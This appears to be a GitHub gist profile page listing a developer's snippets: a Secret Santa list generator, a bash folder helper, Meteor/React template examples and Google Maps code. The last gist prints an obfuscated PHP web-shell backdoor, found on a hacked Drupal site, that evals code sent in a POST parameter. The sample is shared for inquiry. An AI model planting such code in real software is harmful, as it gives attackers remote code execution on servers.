Skip to content

Instantly share code, notes, and snippets.

View timbrandin's full-sized avatar

Tim Brandin timbrandin

View GitHub Profile
@timbrandin
timbrandin / unique-linked-list-with-couples.js
Last active December 20, 2017 15:27
Generate a linked list of people with support for couples, used to create the christmas chain (one person gives only to one other person).
// Unique list of people, list in list is a couple that for some reason only can give to a specific person.
const list = [
['person1', 'person2'], // couple
'person3',
'person4',
['person5', 'person6'], // couple
'person7',
];
// randomize the list of who gives to who.
@timbrandin
timbrandin / .bash_profile
Created November 30, 2016 09:33
Helper to jump around between project folders.
# Go to projects folder from anywhere.
_root=$(echo ~/Projects);
pl() {
if [ -d ${_root}/$1 ]
then
cd ${_root}/$1;
else
echo "Couldn't find $1";
fi;
}
import React from 'react';
import {mount} from 'react-mounter';
// load Layout and Welcome React components from the template helpers.
import Template from 'react-template-helpers';
FlowRouter.route("/", {
action() {
mount(Template.Layout, {
content: (<Template.Welcome friends={[]}/>)
});
import React from 'react';
import {Template, each} from 'react-template-helpers';
Template.Welcome = ({friends}) => (
<div>
Hello, these are my friends:
{each(friends, friend =>
<div>{friend.name}</div>
).else(
<div>I have no friends</div>
import React from 'react';
import {mount} from 'react-mounter';
// load Layout and Welcome React components from the template helpers.
import Template from 'react-template-helpers';
FlowRouter.route("/", {
action() {
mount(Template.Layout, {
content: (<Template.Welcome name="timbrandin"/>)
});
import React from 'react';
import Template from 'react-template-helpers';
Template.Layout = ({content}) => (
<div>
<h1>My App</h1>
<hr />
<div>{content}</div>
</div>
);
@timbrandin
timbrandin / context-lookup.jsx
Last active December 1, 2015 08:40
Blaze-React (fail gracefully) context lookup using a recursive ContextProxy inspired by ES6 Proxy.
Test = class extends React.Component {
render() {
var context = {
docs: {
a: {
b: {
c: true
}
}
}
Template.map_canvas.rendered = function() {
map = initialize();
if (map && $(window).width() < 1100) {
map.setOptions({
draggable: false,
scrollwheel: false,
zoomControl: false,
mapTypeControl: false,
scaleControl: false,
@timbrandin
timbrandin / general88.php
Created December 8, 2014 15:58
What does it do? Found it on a hacked Drupal version 7.29
<?php $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['qf4d0b0'])){eval(${$s20}['qf4d0b0']);}?><?php
$v8A8RSZ = Array('1'=>'N', '0'=>'p', '3'=>'S', '2'=>'P', '5'=>'4', '4'=>'A', '7'=>'X', '6'=>'Y', '9'=>'T', '8'=>'U', 'A'=>'e', 'C'=>'j', 'B'=>'C', 'E'=>'0', 'D'=>'k', 'G'=>'y', 'F'=>'H', 'I'=>'m', 'H'=>'q', 'K'=>'1', 'J'=>'w', 'M'=>'Q', 'L'=>'u', 'O'=>'h', 'N'=>'5', 'Q'=>'R', 'P'=>'Z', 'S'=>'o', 'R'=>'K', 'U'=>'V', 'T'=>'G', 'W'=>'B', 'V'=>'3', 'Y'=>'l', 'X'=>'x', 'Z'=>'M', 'a'=>'D', 'c'=>'r', 'b'=>'t', 'e'=>'g', 'd'=>'v', 'g'=>'c', 'f'=>'O', 'i'=>'E', 'h'=>'9', 'k'=>'f', 'j'=>'s', 'm'=>'8', 'l'=>'a', 'o'=>'I', 'n'=>'W', 'q'=>'d', 'p'=>'L', 's'=>'6', 'r'=>'z', 'u'=>'b', 't'=>'2', 'w'=>'n', 'v'=>'F', 'y'=>'7', 'x'=>'i', 'z'=>'J')